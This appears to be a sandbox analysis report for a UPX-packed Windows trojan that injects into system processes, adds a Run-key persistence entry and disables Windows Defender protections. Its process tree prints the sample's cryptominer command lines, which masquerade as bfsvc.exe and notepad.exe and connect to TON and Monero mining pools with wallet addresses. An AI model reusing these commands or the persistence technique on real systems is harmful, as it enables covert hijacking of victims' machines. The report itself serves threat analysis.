cdd12576c48c2123efbc19404d37cc9505c80d8378f37e793a4b0ecb02aa2361

Analysis

max time kernel
4294182s
max time network
130s
platform
windows7_x64
resource
win7-20220310-en
submitted
15/03/2022, 14:04

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General

Target
6eaf4b2f67fa41762b5cfefc2ec67e79.exe
Size 3.2MB
Sample220315-rda5esaffl
SHA256 cdd12576c48c2123efbc19404d37cc9505c80d8378f37e793a4b0ecb02aa2361
MD5 6eaf4b2f67fa41762b5cfefc2ec67e79
SHA1 5c910ecb57f7a1016ae972058e9b785e3b4e232b
SHA512 5a8cf9f63e979fefc5e64a0bd976687f8a9188fad18e21c67d747c39bb4a1209afae4eea9f913dfb6703ddb3a1614912e868b3265558e9729968dafa16c292bb
MD5 SHA1 SHA512

Score

10^/10

evasion persistence trojan upx

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Downloads MZ/PE file

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1944-58-0x0000000140000000-0x0000000142B38000-memory.dmp	upx
behavioral1/memory/1944-62-0x0000000140000000-0x0000000142B38000-memory.dmp	upx
behavioral1/memory/1944-64-0x0000000140000000-0x0000000142B38000-memory.dmp	upx
behavioral1/memory/1944-65-0x0000000140000000-0x0000000142B38000-memory.dmp	upx
behavioral1/memory/568-68-0x0000000140000000-0x00000001407E2000-memory.dmp	upx
behavioral1/memory/568-72-0x0000000140000000-0x00000001407E2000-memory.dmp	upx
behavioral1/memory/568-74-0x0000000140000000-0x00000001407E2000-memory.dmp	upx
behavioral1/memory/568-92-0x0000000140000000-0x00000001407E2000-memory.dmp	upx
behavioral1/memory/568-93-0x0000000140000000-0x00000001407E2000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	6eaf4b2f67fa41762b5cfefc2ec67e79.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 284 set thread context of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 set thread context of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 set thread context of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1544	568	WerFault.exe	29
596	2020	WerFault.exe	31

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 1944	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	28
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 568	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	29
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 284 wrote to memory of 2020	284	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	31
PID 568 wrote to memory of 1544	568	notepad.exe	34
PID 568 wrote to memory of 1544	568	notepad.exe	34
PID 568 wrote to memory of 1544	568	notepad.exe	34
PID 2020 wrote to memory of 596	2020	explorer.exe	35
PID 2020 wrote to memory of 596	2020	explorer.exe	35
PID 2020 wrote to memory of 596	2020	explorer.exe	35

C:\Users\Admin\AppData\Local\Temp\6eaf4b2f67fa41762b5cfefc2ec67e79.exe
"C:\Users\Admin\AppData\Local\Temp\6eaf4b2f67fa41762b5cfefc2ec67e79.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:284
- C:\Windows\bfsvc.exe
  C:\Windows\bfsvc.exe -a TON --pool wss://eu1.stratum.ton-pool.com/stratum --user EQBYC6RSCwD4IEtqk167RcoaMht-2683ZvmyBgLOvfzmrsdX
  2⤵
  PID:1944
- C:\Windows\notepad.exe
  C:\Windows\notepad.exe --coin=XMR -o xmr-eu1.nanopool.org:14444 -u 46YfNTGTfCk8tPskGwuq4REUxZMpFqsX4VETCTsqixfmXczumrrMCuucPXcqEyZ76GVJY4BoMWL9cKcoi8sKCMEw1VFDSjc -p new_world
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:568
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 568 -s 164
    3⤵
    - Program crash
    PID:1544
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe "hhurdnl" "Standard%20VGA%20Graphics%20Adapter" "new" "ton"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2020 -s 92
    3⤵
    - Program crash
    PID:596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/284-54-0x0000000140000000-0x00000001404B6000-memory.dmp

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memory/568-92-0x0000000140000000-0x00000001407E2000-memory.dmp

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memory/568-66-0x0000000140000000-0x00000001407E2000-memory.dmp

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memory/568-68-0x0000000140000000-0x00000001407E2000-memory.dmp

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memory/568-72-0x0000000140000000-0x00000001407E2000-memory.dmp

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memory/568-74-0x0000000140000000-0x00000001407E2000-memory.dmp

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memory/568-93-0x0000000140000000-0x00000001407E2000-memory.dmp

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memory/1944-56-0x0000000140000000-0x0000000142B38000-memory.dmp

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memory/1944-58-0x0000000140000000-0x0000000142B38000-memory.dmp

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memory/1944-62-0x0000000140000000-0x0000000142B38000-memory.dmp

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memory/1944-64-0x0000000140000000-0x0000000142B38000-memory.dmp

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memory/1944-65-0x0000000140000000-0x0000000142B38000-memory.dmp

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memory/2020-77-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-91-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-87-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-85-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-81-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-79-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-75-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-89-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-83-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/2020-95-0x0000000140000000-0x000000014002A000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads